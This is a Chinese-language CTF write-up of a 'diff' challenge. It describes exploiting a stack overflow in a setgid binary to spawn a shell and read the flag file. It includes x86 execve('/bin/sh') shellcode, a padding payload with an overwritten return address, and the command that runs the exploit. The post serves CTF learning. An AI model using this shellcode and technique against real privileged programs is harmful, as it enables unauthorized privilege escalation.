diff:
不得不说这种题目挺有意思的,现在记录一下阶梯过程:
先登录远程,发现有两个文件:
虽然直接能卡到flag文件,但是我们是以ctf用户登录的,并不能直接打开flag文件。仔细观察diff文件组用户权限是r-s,这意味着我们以ctf用户运行diff却能得到ctf_pwn用户的权限,就能读取flag了,所以我们目标是运行diff并拿到shell。
其实在做这题之前有好几道类似的题,没有给任何文件,都需要ssh连接远程,之前我有尝试用scp把文件下载到本地,结果都是败了,所以这题我就没注意看。知道看wp时才意思到可以下载到本地,不得不说挺坑的。
下载后用IDA打开,直接看compare函数:
很明显存在栈溢出,所以我们可以向buf1中写入shellcode,向addr写入padding。
这里不得不说另一个坑了。我之前直接把shellcode的十六进制代码写入到文件中,结果读出来的不对,后来才意识到这样是以字符读入,失去本来的意思。
python -c "print 'xbax00x00x00x00xb9x00x00x00x00h/shx00h/binx89xe3xb8x0bx00x00x00xcdx80'" > shellcode
python -c "print 'A'*0x7c + 'x24xa0x04x08'" > padding
./diff shellcode padding